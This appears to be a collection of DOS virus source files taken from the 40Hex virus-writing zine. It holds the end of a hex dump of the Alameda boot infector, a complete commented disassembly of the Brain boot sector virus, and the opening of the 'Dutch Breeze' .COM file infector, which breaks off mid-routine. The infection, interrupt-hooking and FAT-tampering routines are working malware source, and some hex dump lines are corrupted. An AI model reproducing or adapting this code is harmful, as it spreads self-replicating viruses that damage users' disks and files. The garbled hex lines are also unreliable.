||||
;7CC0 1D 75 04 88 E3 EB 16 3C-38 75 04 88 E7 EB 0E .u..ck.<8u..gk..
|
||||
;7CD0 FB 08 08 75 08 3C 17 74-11 3C 53 74 8F 89 1E {..u.<.t.<St...z
|
||||
;7CE0 7D 1F 5B 58 9D EA 87 E9-00 F0 E9 EB 00 BA D8 03 }.[X.j.i.pik.:X.
|
||||
;7CF0 B8 00 08 EE E8 F3 00 A3-FA 7D B0 03 CD 10 B4 02 ..nhs.#z}0.M.4.
|
||||
;7D00 31 D2 88 F7 CD 10 B4 01-B9 07 06 CD 108 20 04 1R..4.9..M.8 .
|
||||
;7D10 E8 D7 00 FA E6 20 8E C1-89 CF BE 80 7B B9 80 00 hW.zfA.O>.{9..
|
||||
;7D20 FC F3 A4 8E D9 C7 06 64-00 52 7D 8C 0E 66 00 B8 |s$.YG.R}..f.8
|
||||
;7D30 40 00 8E D8 88 26 17 00-FF 06 13 00 1E B8 00 F0 @..X.&.....8.p
|
||||
;7D4 8E D8 81 3E 02 E5 E4 21-1F 74 02 CD 19 EA 02 E5 .X.>.ed!.t.M.e
|
||||
;7D50 00 F0 31 C0 8E D8 A1 10-04 A8 01 75 07 0E 07 E8 .p1@.X!..(.u..
|
||||
;7D60 EE FE CD 18 B9 04 00 51-B4 00 CD 13 72 0D B8 01 n~M.9..Q4.M.r.8
|
||||
;7D70 02 1E 07 BB 00 7C B9 01-00 C3 59 73 04 E2 E7 ...;.|9..M.Ys.bg
|
||||
;780 EB DB 81 FF 56 34 75 05-EA 00 7C 00 00 BE 00 7C k[..V4u|..>.|
|
||||
;7D90 B9 E6 00 89 F7 0E 07 FC-F3 A6 74 2D 26 FF 06 F8 9f..w..|t-&..x
|
||||
;7DA0 7D BB 7A 7C BA 00 00 B5-27 B4 05 EB 02 72 1F 8E };z|:..5.k.r..
|
||||
;7DB0 C2 BB 00 7C B1 08 B8 01-03 CD 13 0E 07 72 0F B9 B;.|1.8....r.9
|
||||
;7DC0 01 00 B8 01 03 CD 13 72-05 BF 56 34 CD 19 E8 7F ..8..M.rV4M.h.
|
||||
;7DD0 FE 26 FF 0E F8 7D EB B0-89 1E FA 7D A1 F8 7D BB ~&..x}k0}!x};
|
||||
;7DE0 40 00 8E DB A3 72 0E9-F7 FE 29 C9 E2 FE 80 EC @..[#r.iwIb~.l
|
||||
;7DF0 01 75 F9 C3 27 00 08 02-1C 00 00 00 27 00 08 02 .uyC'.....'...
|
||||
;---------------------------------------------------------------------;
|
||||
End of commented code for the Alameda College Boot Infector Virus.
|
||||
@@ -0,0 +1,687 @@
|
||||
40Hex Number 8 Volume 2 Issue 4 File 008
|
||||
|
||||
; This is the ashar variant of the classic Pakistani Brain virus. It is large
|
||||
; by today's standards, although it was one of the first. It is a floppy only
|
||||
; boot sector infector.
|
||||
|
||||
brain segment byte public
|
||||
assume cs:brain, ds:brain
|
||||
; Disassembly done by Dark Angel of PHALCON/SKISM
|
||||
org 0
|
||||
|
||||
cli
|
||||
jmp entervirus
|
||||
idbytes db 34h, 12h
|
||||
firsthead db 0
|
||||
firstsector dw 2707h
|
||||
curhead db 0
|
||||
cursector dw 1
|
||||
db 0, 0, 0, 0
|
||||
db 'Welcome to the Dungeon '
|
||||
copyright db '(c) 1986 Brain'
|
||||
db 17h
|
||||
db '& Amjads (pvt) Ltd VIRUS_SHOE '
|
||||
db ' RECORD v9.0 Dedicated to th'
|
||||
db 'e dynamic memories of millions o'
|
||||
db 'f virus who are no longer with u'
|
||||
db 's today - Thanks GOODNESS!! '
|
||||
db ' BEWARE OF THE er..VIRUS : \th'
|
||||
db 'is program is catching prog'
|
||||
db 'ram follows after these messeges'
|
||||
db '..... $'
|
||||
db '#@%$'
|
||||
db '@!! '
|
||||
entervirus:
|
||||
mov ax,cs
|
||||
mov ds,ax ; ds = 0
|
||||
mov ss,ax ; set stack to after
|
||||
mov sp,0F000h ; virus
|
||||
sti
|
||||
mov al,ds:[7C00h+offset firsthead]
|
||||
mov ds:[7C00h+offset curhead],al
|
||||
mov cx,ds:[7C00h+offset firstsector]
|
||||
mov ds:[7C00h+offset cursector],cx
|
||||
call calcnext
|
||||
mov cx,5 ; read five sectors
|
||||
mov bx,7C00h+200h ; after end of virus
|
||||
|
||||
loadnext:
|
||||
call readdisk
|
||||
call calcnext
|
||||
add bx,200h
|
||||
loop loadnext
|
||||
|
||||
mov ax,word ptr ds:[413h] ; Base memory size in Kb
|
||||
sub ax,7 ; - 7 Kb
|
||||
mov word ptr ds:[413h],ax ; Insert as new value
|
||||
mov cl,6
|
||||
shl ax,cl ; Convert to paragraphs
|
||||
mov es,ax
|
||||
mov si,7C00h ; Copy from virus start
|
||||
mov di,0 ; to start of memory
|
||||
mov cx,1004h ; Copy 1004h bytes
|
||||
cld
|
||||
rep movsb
|
||||
push es
|
||||
mov ax,200h
|
||||
push ax
|
||||
retf ; return to old boot sector
|
||||
|
||||
readdisk:
|
||||
push cx
|
||||
push bx
|
||||
mov cx,4 ; Try 4 times
|
||||
|
||||
tryread:
|
||||
push cx
|
||||
mov dh,ds:[7C00h+offset curhead]
|
||||
mov dl,0 ; Read sector from default
|
||||
mov cx,ds:[7C00h+offset cursector]
|
||||
mov ax,201h ; Disk to memory at es:bx
|
||||
int 13h
|
||||
jnc readOK
|
||||
mov ah,0 ; Reset disk
|
||||
int 13h ; (force read track 0)
|
||||
pop cx
|
||||
loop tryread
|
||||
|
||||
int 18h ; ROM basic on failure
|
||||
readOK:
|
||||
pop cx
|
||||
pop bx
|
||||
pop cx
|
||||
retn
|
||||
|
||||
calcnext:
|
||||
mov al,byte ptr ds:[7C00h+offset cursector]
|
||||
inc al
|
||||
mov byte ptr ds:[7C00h+offset cursector],al
|
||||
cmp al,0Ah
|
||||
jne donecalc
|
||||
mov byte ptr ds:[7C00h+offset cursector],1
|
||||
mov al,ds:[7C00h+offset curhead]
|
||||
inc al
|
||||
mov ds:[7C00h+offset curhead],al
|
||||
cmp al,2
|
||||
jne donecalc
|
||||
mov byte ptr ds:[7C00h+offset curhead],0
|
||||
inc byte ptr ds:[7C00h+offset cursector+1]
|
||||
donecalc:
|
||||
retn
|
||||
|
||||
; the following is a collection of garbage bytes
|
||||
db 00h, 00h, 00h, 00h, 32h,0E3h
|
||||
db 23h, 4Dh, 59h,0F4h,0A1h, 82h
|
||||
db 0BCh,0C3h, 12h, 00h, 7Eh, 12h
|
||||
db 0CDh, 21h,0A2h, 3Ch, 5Fh
|
||||
a_data dw 050Ch
|
||||
; Second part of the virus begins here
|
||||
jmp short entersecondpart
|
||||
db '(c) 1986 Brain & Amjads (pvt) Ltd ',0
|
||||
readcounter db 4 ; keep track of # reads
|
||||
curdrive db 0
|
||||
int13flag db 0
|
||||
|
||||
entersecondpart:
|
||||
mov cs:readcounter,1Fh
|
||||
xor ax,ax
|
||||
mov ds,ax ; ds -> interrupt table
|
||||
mov ax,ds:[13h*4]
|
||||
mov ds:[6Dh*4],ax
|
||||
mov ax,ds:[13h*4+2]
|
||||
mov ds:[6Dh*4+2],ax
|
||||
mov ax,offset int13 ; 276h
|
||||
mov ds:[13h*4],ax
|
||||
mov ax,cs
|
||||
mov ds:[13h*4+2],ax
|
||||
mov cx,4 ; 4 tries
|
||||
xor ax,ax
|
||||
mov es,ax ; es -> interrupt table
|
||||
|
||||
tryreadbootsector:
|
||||
push cx
|
||||
mov dh,cs:firsthead
|
||||
mov dl,0
|
||||
mov cx,cs:firstsector
|
||||
mov ax,201h ; read from default disk
|
||||
mov bx,7C00h
|
||||
int 6Dh ; int 13h
|
||||
jnc readbootOK
|
||||
mov ah,0
|
||||
int 6Dh ; int 13h
|
||||
pop cx
|
||||
loop tryreadbootsector
|
||||
|
||||
int 18h ; ROM basic on failure
|
||||
readbootOK: ; return control to
|
||||
; original boot sector
|
||||
;* jmp far ptr 0000:7C00h
|
||||
db 0EAh, 00h, 7Ch, 00h, 00h
|
||||
nop ; MASM NOP!!!
|
||||
int13:
|
||||
sti
|
||||
cmp ah,2 ; if not read request,
|
||||
jne doint13 ; do not go further
|
||||
cmp dl,2 ; if after second floppy,
|
||||
ja doint13 ; do not go further
|
||||
cmp ch,0 ; if not reading boot sector,
|
||||
jne regularread ; go handle as usual
|
||||
cmp dh,0 ; if boot sector,
|
||||
je readboot ; do I<-/>/\|> stuff
|
||||
regularread:
|
||||
dec cs:readcounter ; Infect after 4 reads
|
||||
jnz doint13 ; If counter still OK, don't
|
||||
; do anything else
|
||||
jmp short readboot ; Otherwise, try to infect
|
||||
doint13:
|
||||
jmp exitint13h
|
||||
readboot:
|
||||
; FINISH THIS!
|
||||
mov cs:int13flag,0 ; clear flag
|
||||
mov cs:readcounter,4 ; reset counter
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
mov cs:curdrive,dl
|
||||
mov cx,4
|
||||
|
||||
tryreadbootblock:
|
||||
push cx
|
||||
mov ah,0 ; Reset disk
|
||||
int 6Dh
|
||||
jc errorreadingbootblock ; Try again
|
||||
mov dh,0
|
||||
mov cx,1
|
||||
mov bx,offset readbuffer ; buffer @ 6BEh
|
||||
push es
|
||||
mov ax,cs
|
||||
mov es,ax
|
||||
mov ax,201h
|
||||
int 6Dh ; Read boot sector
|
||||
pop es
|
||||
jnc continuestuff ; continue if no error
|
||||
errorreadingbootblock:
|
||||
pop cx
|
||||
loop tryreadbootblock
|
||||
|
||||
jmp short resetdisk ; too many failures
|
||||
nop
|
||||
continuestuff:
|
||||
pop cx ; get system id in boot block
|
||||
mov ax,word ptr cs:[offset readbuffer+4]
|
||||
cmp ax,1234h ; already infected?
|
||||
jne dodisk ; if not, infect it
|
||||
mov cs:int13flag,1 ; flag prev. infection
|
||||
jmp short noreset
|
||||
dodisk:
|
||||
push ds
|
||||
push es
|
||||
mov ax,cs
|
||||
mov ds,ax
|
||||
mov es,ax
|
||||
push si
|
||||
call writevirus ; infect the disk
|
||||
jc failme ; exit on failure
|
||||
mov cs:int13flag,2 ; flag success
|
||||
call changeroot ; manipulate volume label
|
||||
failme:
|
||||
pop si
|
||||
pop es
|
||||
pop ds
|
||||
jnc noreset ; don't reset on success
|
||||
resetdisk:
|
||||
mov ah,0 ; reset disk
|
||||
int 6Dh ; int 13h
|
||||
noreset:
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
cmp cx,1
|
||||
jne exitint13h
|
||||
cmp dh,0
|
||||
jne exitint13h
|
||||
cmp cs:int13flag,1 ; already infected?
|
||||
jne wasntinfected ; if wasn't, go elsewhere
|
||||
mov cx,word ptr cs:[offset readbuffer+7]
|
||||
mov dx,word ptr cs:[offset readbuffer+5]
|
||||
mov dl,cs:curdrive ; otherwise, read real
|
||||
jmp short exitint13h ; boot sector
|
||||
wasntinfected:
|
||||
cmp cs:int13flag,2 ; successful infection?
|
||||
jne exitint13h ; if not, just do call
|
||||
mov cx,cs:firstsector
|
||||
mov dh,cs:firsthead
|
||||
exitint13h:
|
||||
int 6Dh ; int 13h
|
||||
retf 2
|
||||
db 15 dup (0)
|
||||
|
||||
FATManip: ; returns al as error code
|
||||
jmp short delvedeeper
|
||||
nop
|
||||
FATManipreadcounter dw 3
|
||||
db ' (c) 1986 Brain & Amjads (pvt) Ltd'
|
||||
delvedeeper:
|
||||
call readFAT ; Get FAT ID byte
|
||||
mov ax,word ptr ds:[offset readbuffer]
|
||||
cmp ax,0FFFDh ; is it 360K disk?
|
||||
je is360Kdisk ; continue if so
|
||||
mov al,3 ; al=3 == not good disk
|
||||
stc ; flag error
|
||||
retn ; and exit
|
||||
is360Kdisk:
|
||||
mov cx,37h
|
||||
mov FATManipreadcounter,0 ; none found yet
|
||||
checknextsector:
|
||||
call FATentry12bit ; get entry in FAT
|
||||
cmp ax,0 ; unused?
|
||||
jne notunused
|
||||
inc FATManipreadcounter ; one more found unused
|
||||
cmp FATManipreadcounter,3 ; If need more,
|
||||
jne tryanother ; go there
|
||||
jmp short markembad ; found 3 consecutive
|
||||
nop ; empty sectors
|
||||
notunused:
|
||||
mov FATManipreadcounter,0 ; must start over
|
||||
tryanother:
|
||||
inc cx ; try next sector
|
||||
cmp cx,163h ; end of disk?
|
||||
jne checknextsector ; if not, continue
|
||||
mov al,1 ; al=1 == none empty
|
||||
stc ; Indicate error
|
||||
retn
|
||||
markembad:
|
||||
mov dl,3 ; 3 times
|
||||
markanotherbad:
|
||||
call markbad12bit
|
||||
dec cx
|
||||
dec dl
|
||||
jnz markanotherbad
|
||||
inc cx
|
||||
call calc1sttrack
|
||||
call writeFAT ; update FAT
|
||||
mov al,0 ; al=0 == ok
|
||||
clc ; indicate success
|
||||
retn
|
||||
|
||||
markbad12bit:
|
||||
push cx
|
||||
push dx
|
||||
mov si,offset readbuffer ; si -> buffer
|
||||
mov al,cl
|
||||
shr al,1
|
||||
jc low_12 ; low bits
|
||||
call clus2offset12bit
|
||||
mov ax,[bx+si] ; get FAT entry
|
||||
and ax,0F000h ; mark it bad
|
||||
or ax,0FF7h
|
||||
jmp short putitback ; and put it back
|
||||
nop
|
||||
low_12:
|
||||
call clus2offset12bit
|
||||
mov ax,[bx+si] ; get FAT entry
|
||||
and ax,0Fh ; mark it bad
|
||||
or ax,0FF70h
|
||||
putitback:
|
||||
mov [bx+si],ax ; replace FAT entry
|
||||
mov word ptr ds:[400h][bx+si],ax ; in two places
|
||||
pop dx
|
||||
pop cx
|
||||
retn
|
||||
|
||||
FATentry12bit:
|
||||
push cx
|
||||
mov si,offset readbuffer ; si->buffer
|
||||
mov al,cl
|
||||
shr al,1
|
||||
; Part 3 of the virus starts here
|
||||
jc want_high_12
|
||||
call clus2offset12bit
|
||||
mov ax,[bx+si]
|
||||
and ax,0FFFh
|
||||
jmp short exitFATentry12bit
|
||||
nop
|
||||
want_high_12:
|
||||
call clus2offset12bit ; xxxxxxxxxxxx0000
|
||||
mov ax,[bx+si] ; ^^^^^^^^^^^^wanted
|
||||
and ax,0FFF0h ; mask wanted bits
|
||||
mov cl,4 ; and move to correct
|
||||
shr ax,cl ; position
|
||||
exitFATentry12bit:
|
||||
pop cx
|
||||
retn
|
||||
|
||||
clus2offset12bit:
|
||||
push dx
|
||||
mov ax,3
|
||||
mul cx
|
||||
shr ax,1 ; ax = cx*1.5
|
||||
mov bx,ax
|
||||
pop dx
|
||||
retn
|
||||
|
||||
readFAT:
|
||||
mov ah,2 ; read
|
||||
call FAT_IO
|
||||
retn
|
||||
|
||||
writeFAT:
|
||||
mov ah,3 ; write
|
||||
call FAT_IO
|
||||
retn
|
||||
|
||||
FAT_IO:
|
||||
mov cx,4 ; try four times
|
||||
FAT_IOLoop:
|
||||
push cx
|
||||
push ax
|
||||
mov ah,0 ; reset disk
|
||||
int 6Dh ; int 13h
|
||||
pop ax
|
||||
jc tryFAT_IOagain
|
||||
mov bx,offset readbuffer
|
||||
mov al,4 ; 4 sectors
|
||||
mov dh,0 ; head 0
|
||||
mov dl,curdrive
|
||||
mov cx,2 ; sector 2
|
||||
push ax ; (FAT)
|
||||
int 6Dh ; int 13h
|
||||
pop ax
|
||||
jnc exitFAT_IO
|
||||
tryFAT_IOagain:
|
||||
pop cx
|
||||
loop FAT_IOLoop
|
||||
|
||||
pop ax
|
||||
pop ax
|
||||
mov al,2
|
||||
stc ; mark error
|
||||
retn
|
||||
exitFAT_IO:
|
||||
pop cx
|
||||
retn
|
||||
|
||||
calc1sttrack:
|
||||
push cx
|
||||
sub cx,2
|
||||
shl cx,1 ; 2 sectors/cluster
|
||||
add cx,0Ch ; start of data area
|
||||
mov ax,cx ; ax = sector
|
||||
mov cl,12h ; 4096
|
||||
div cl ; ax/4096 = al rem ah
|
||||
mov byte ptr firstsector+1,al
|
||||
mov firsthead,0
|
||||
inc ah
|
||||
cmp ah,9 ; past track 9?
|
||||
jbe notpasttrack9 ; nope, we are ok
|
||||
sub ah,9 ; otherwise, adjust
|
||||
mov firsthead,1
|
||||
notpasttrack9:
|
||||
mov byte ptr firstsector,ah
|
||||
pop cx
|
||||
retn
|
||||
|
||||
db 0, 0, 0, 0, 0, 0
|
||||
r_or_w_root db 3
|
||||
entrycount dw 35h
|
||||
|
||||
tempsave1 dw 303h
|
||||
tempsave2 dw 0EBEh
|
||||
tempsave3 dw 1
|
||||
tempsave4 dw 100h
|
||||
db 0E0h,0D8h, 9Dh,0D7h,0E0h, 9Fh
|
||||
db 8Dh, 98h, 9Fh, 8Eh,0E0h
|
||||
db ' (c) ashar $'
|
||||
changeroot:
|
||||
call readroot ; read in root directory
|
||||
jc donotchangeroot
|
||||
push di
|
||||
call changevolume ; change volume label
|
||||
pop di
|
||||
jc donotchangeroot
|
||||
call writeroot ; write back new root dir
|
||||
donotchangeroot:
|
||||
retn
|
||||
; The following is just garbage bytes
|
||||
db 0BBh, 9Bh, 04h,0B9h, 0Bh
|
||||
db 0,8Ah,7,0F6h,0D8h,88h,4,46h,43h
|
||||
db 0E2h,0F6h,0B0h,8,88h,4,0F8h,0C3h
|
||||
db 0C6h, 06h
|
||||
|
||||
changevolume:
|
||||
mov entrycount,6Ch
|
||||
mov si,offset readbuffer+40h; 3nd dir entry
|
||||
mov tempsave1,dx
|
||||
mov ax,entrycount ; 6Ch
|
||||
shr ax,1
|
||||
mov tempsave3,ax ; 36h
|
||||
shr ax,1
|
||||
mov tempsave2,ax ; 1Bh
|
||||
xchg ax,cx
|
||||
and cl,43h ; cx = 3
|
||||
mov di,tempsave2
|
||||
add di,1E3h ; di = 01FE
|
||||
findlabel:
|
||||
mov al,[si]
|
||||
cmp al,0
|
||||
je dolabel ; no mo entries
|
||||
mov al,[si+0Bh] ; attribute byte
|
||||
and al,8 ; volume label?
|
||||
cmp al,8 ; yes?
|
||||
je dolabel ; then change it!
|
||||
add si,20h ; go to next directory entry
|
||||
dec entrycount
|
||||
jnz findlabel ; loop back
|
||||
stc ; Error!
|
||||
retn
|
||||
db 8Bh
|
||||
dolabel:
|
||||
mov bx,[di] ; offset a_data
|
||||
xor bx,tempsave3 ; bx = 53Ah
|
||||
mov tempsave3,si ; si->direntry
|
||||
cli
|
||||
mov ax,ss
|
||||
mov tempsave1,ax
|
||||
mov tempsave2,sp
|
||||
mov ax,cs
|
||||
mov ss,ax
|
||||
mov sp,tempsave3
|
||||
add sp,0Ch ;->reserved area
|
||||
mov cl,51h
|
||||
add dx,444Ch
|
||||
mov di,2555h
|
||||
mov cx,0C03h
|
||||
repe cmpsw
|
||||
mov ax,0B46h
|
||||
mov cx,3
|
||||
rol ax,cl ; ax = 5A30h
|
||||
mov tempsave3,ax
|
||||
mov cx,5
|
||||
mov dx,8
|
||||
sub tempsave3,5210h ; 820h
|
||||
push tempsave3 ; store attributes/reserved
|
||||
; I haven't commented the remainder of this procedure.
|
||||
; It basically changes the volume label to read "(c) Brain"
|
||||
|
||||
; Comment mode OFF
|
||||
|
||||
dowhatever:
|
||||
mov ah,[bx] ; 5a3h
|
||||
inc bx
|
||||
mov dl,ah
|
||||
shl dl,1
|
||||
jc dowhatever
|
||||
searchstuff:
|
||||
mov dl,[bx] ; dl=C2h
|
||||
inc bx ; bx=53Eh
|
||||
mov al,dl
|
||||
shl dl,1
|
||||
jc searchstuff
|
||||
add ax,1D1Dh
|
||||
push ax
|
||||
inc tempsave3
|
||||
db 73h, 01h ; jnc $+3
|
||||
db 0EAh,0E2h,0E1h, 8Bh, 26h; jmp 268B:E1E2
|
||||
xchg bp,ax
|
||||
add al,0A1h
|
||||
xchg bx,ax
|
||||
add al,8Eh
|
||||
sar bl,1
|
||||
add dh,[bp+si]
|
||||
clc
|
||||
ret
|
||||
;db 95h, 04h,0A1h, 93h, 04h, 8Eh
|
||||
;db 0D0h,0FBh, 02h, 32h,0F8h,0C3h
|
||||
|
||||
; Comment mode ON
|
||||
|
||||
readroot:
|
||||
mov r_or_w_root,2 ; set action code
|
||||
jmp short do_rw_root ; easier to do w/
|
||||
nop ; mov ah, 2
|
||||
writeroot:
|
||||
mov r_or_w_root,3
|
||||
jmp short do_rw_root ; this is somewhat useless
|
||||
nop
|
||||
do_rw_root:
|
||||
mov dh,0 ; head 0
|
||||
mov dl,curdrive
|
||||
mov cx,6 ; sector 6
|
||||
mov ah,r_or_w_root
|
||||
mov al,4 ; 4 sectors
|
||||
mov bx,offset readbuffer
|
||||
call doint13h
|
||||
jc exit_rw_root ; quit on error
|
||||
mov cx,1
|
||||
mov dh,1 ; head 1
|
||||
mov ah,r_or_w_root
|
||||
mov al,3
|
||||
add bx,800h
|
||||
call doint13h
|
||||
|
||||
exit_rw_root:
|
||||
retn
|
||||
|
||||
doint13h:
|
||||
mov tempsave1,ax
|
||||
mov tempsave2,bx
|
||||
mov tempsave3,cx
|
||||
mov tempsave4,dx
|
||||
mov cx,4
|
||||
|
||||
doint13hloop:
|
||||
push cx
|
||||
mov ah,0 ; Reset disk
|
||||
int 6Dh
|
||||
jc errordoingint13h
|
||||
mov ax,tempsave1
|
||||
mov bx,tempsave2
|
||||
mov cx,tempsave3
|
||||
mov dx,tempsave4
|
||||
int 6Dh ; int 13h
|
||||
jnc int13hsuccess
|
||||
errordoingint13h:
|
||||
pop cx
|
||||
loop doint13hloop
|
||||
|
||||
stc ; indicate error
|
||||
retn
|
||||
int13hsuccess:
|
||||
pop cx
|
||||
retn
|
||||
|
||||
db 0, 0, 0
|
||||
; Part 4 of the virus starts here
|
||||
tempstorecx dw 3
|
||||
readwritecurrentdata dw 301h
|
||||
|
||||
writevirus:
|
||||
call FATManip
|
||||
jc exitwritevirus
|
||||
mov cursector,1
|
||||
mov curhead,0
|
||||
mov bx,offset readbuffer
|
||||
call readcurrent
|
||||
mov bx,offset readbuffer
|
||||
mov ax,firstsector
|
||||
mov cursector,ax
|
||||
mov ah,firsthead
|
||||
mov curhead,ah
|
||||
call writecurrent
|
||||
call calcnextsector
|
||||
mov cx,5
|
||||
mov bx,200h
|
||||
writeanothersector:
|
||||
mov tempstorecx,cx
|
||||
call writecurrent
|
||||
call calcnextsector
|
||||
add bx,200h
|
||||
mov cx,tempstorecx
|
||||
loop writeanothersector
|
||||
|
||||
mov curhead,0
|
||||
mov cursector,1
|
||||
mov bx,0
|
||||
call writecurrent
|
||||
clc ; indicate success
|
||||
exitwritevirus:
|
||||
retn
|
||||
|
||||
|
||||
readcurrent:
|
||||
mov readwritecurrentdata,201h
|
||||
jmp short doreadwrite
|
||||
nop
|
||||
writecurrent:
|
||||
mov readwritecurrentdata,301h
|
||||
jmp short doreadwrite ; This is pointless.
|
||||
nop
|
||||
doreadwrite:
|
||||
push bx
|
||||
mov cx,4
|
||||
|
||||
tryreadwriteagain:
|
||||
push cx
|
||||
mov dh,curhead
|
||||
mov dl,curdrive
|
||||
mov cx,cursector
|
||||
mov ax,readwritecurrentdata ; read or write?
|
||||
int 6Dh ; int 13h
|
||||
jnc readwritesuccessful
|
||||
mov ah,0 ; reset disk
|
||||
int 6Dh ; int 13h
|
||||
pop cx
|
||||
loop tryreadwriteagain
|
||||
|
||||
pop bx
|
||||
pop bx
|
||||
stc ; Indicate error
|
||||
retn
|
||||
readwritesuccessful:
|
||||
pop cx
|
||||
pop bx
|
||||
retn
|
||||
|
||||
|
||||
calcnextsector:
|
||||
inc byte ptr cursector ; next sector
|
||||
cmp byte ptr cursector,0Ah
|
||||
jne donecalculate ; finished calculations
|
||||
mov byte ptr cursector,1 ; clear sector #
|
||||
inc curhead ; and go to next head
|
||||
cmp curhead,2 ; if not too large,
|
||||
jne donecalculate ; we are done
|
||||
mov curhead,0 ; otherwise clear head #
|
||||
inc byte ptr cursector+1 ; and advance cylinder
|
||||
donecalculate:
|
||||
retn
|
||||
|
||||
db 64h, 74h, 61h
|
||||
|
||||
; read buffer starts here
|
||||
; insert your favorite boot block below...
|
||||
readbuffer:
|
||||
brain ends
|
||||
end
|
||||
@@ -0,0 +1,197 @@
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ Dutche Breeze by Glenn Benton ³
|
||||
;ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
|
||||
;³ This will be a Parasytic Non-Resident .COM infector. ³
|
||||
;³ It will also infect COMMAND.COM. ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
.MODEL TINY
|
||||
|
||||
Public VirLen,MovLen
|
||||
|
||||
Code Segment para 'Code'
|
||||
Assume Cs:Code,Ds:Code,Es:Code
|
||||
|
||||
Org 100h
|
||||
|
||||
Signature Equ 0CaDah ; Signature of virus is ABCD!
|
||||
|
||||
Buff1 Equ 0F100h
|
||||
Buff2 Equ Buff1+2
|
||||
VirLen Equ Offset Einde-Offset Begin
|
||||
MovLen Equ Offset Einde-Offset Mover
|
||||
DTA Equ 0F000h
|
||||
Proggie Equ DTA+1Eh
|
||||
Lenny Equ DTA+1Ah
|
||||
|
||||
MinLen Equ Virlen ;Minimale lengte te besmetten programma
|
||||
MaxLen Equ 0EF00h ; Maximale lengte te besmetten programma
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; This part will contain the actual virus code, for searching the
|
||||
; next victim and infection of it.
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
Begin:
|
||||
Jmp Short OverSig ; Sprong naar Oversig vanwege kenmerk
|
||||
DW Signature ; Herkenningsteken virus
|
||||
Oversig:
|
||||
Pushf ;------------------
|
||||
Push AX ; Alle registers opslaan voor
|
||||
Push BX ; later gebruik van het programma
|
||||
Push CX ;
|
||||
Push DX ;
|
||||
Push DS ;
|
||||
Push ES ;
|
||||
Push SS ;
|
||||
Push SI ;
|
||||
Push DI ;------------------
|
||||
InfectPart:
|
||||
Mov AX,Sprong ;------------------
|
||||
Mov Buf1,AX ; Spronggegevens bewaren om
|
||||
Mov BX,Source ; besmette programma te starten
|
||||
Mov Buf2,BX ;------------------
|
||||
Mov AH,1Ah ; DTA area instellen op
|
||||
Mov DX,DTA ; $DTA area
|
||||
Int 21h ;------------------
|
||||
Vindeerst: Mov AH,4Eh ; Zoeken naar 1e .COM file in directory
|
||||
Mov Cx,1 ;
|
||||
Lea DX,FindPath ;
|
||||
Int 21h ;------------------
|
||||
Jnc KijkInfected ; Geen gevonden, goto Afgelopen
|
||||
Jmp Afgelopen ;------------------
|
||||
KijkInfected:
|
||||
Mov DX,Cs:[Lenny] ;------------------
|
||||
Cmp DX,MinLen ; Kijken of programmalengte voldoet
|
||||
Jb ZoekNext ; aan de eisen van het virus
|
||||
Cmp DX,MaxLen ;
|
||||
Ja ZoekNext ;------------------
|
||||
On2: Mov AH,3Dh ; Zo ja , file openen en file handle
|
||||
Mov AL,2 ; opslaan
|
||||
Mov DX,Proggie ;
|
||||
Int 21h ;
|
||||
Mov FH,AX ;------------------
|
||||
Mov BX,AX ;
|
||||
Mov AH,3Fh ; Lezen 1e 4 bytes van een file met
|
||||
Mov CX,4 ; een mogelijk kenmerk van het virus
|
||||
Mov DX,Buff1 ;
|
||||
Int 21h ;------------------
|
||||
Sluiten: Mov AH,3Eh ; File weer sluiten
|
||||
Int 21h ;------------------
|
||||
Mov AX,CS:[Buff2] ; Vergelijken inhoud lokatie Buff1+2
|
||||
Cmp AX,Signature ; met Signature. Niet gelijk : Zoeken op
|
||||
Jnz Infect ; morgoth virus. Als bestand al besmet
|
||||
ZoekNext:
|
||||
Mov AH,4Fh ;------------------
|
||||
Int 21h ; Zoeken naar volgende .COM file
|
||||
Jnc KijkInfected ; Geen gevonden, goto Afgelopen
|
||||
Jmp Afgelopen ;------------------
|
||||
Db 'Dutch [Breeze] by Glenn Benton'
|
||||
Infect:
|
||||
Mov DX,Proggie ; beveiliging weghalen
|
||||
Mov AH,43h ;
|
||||
Mov AL,1 ;
|
||||
Xor CX,Cx
|
||||
Int 21h ;------------------
|
||||
Mov AH,3Dh ; Bestand openen
|
||||
Mov AL,2 ;
|
||||
Mov DX,Proggie ;
|
||||
Int 21h ;------------------
|
||||
Mov FH,AX ; Opslaan op stack van
|
||||
Mov BX,AX ; datum voor later gebruik
|
||||
Mov AH,57H ;
|
||||
Mov AL,0 ;
|
||||
Int 21h ;
|
||||
Push CX ;
|
||||
Push DX ;------------------
|
||||
Mov AH,3Fh ; Inlezen van eerste deel van het
|
||||
Mov CX,VirLen+2 ; programma om later terug te
|
||||
Mov DX,Buff1 ; kunnen plaatsen.
|
||||
Int 21h ;------------------
|
||||
Mov AH,42H ; File Pointer weer naar het
|
||||
Mov AL,2 ; einde van het programma
|
||||
Xor CX,CX ; zetten
|
||||
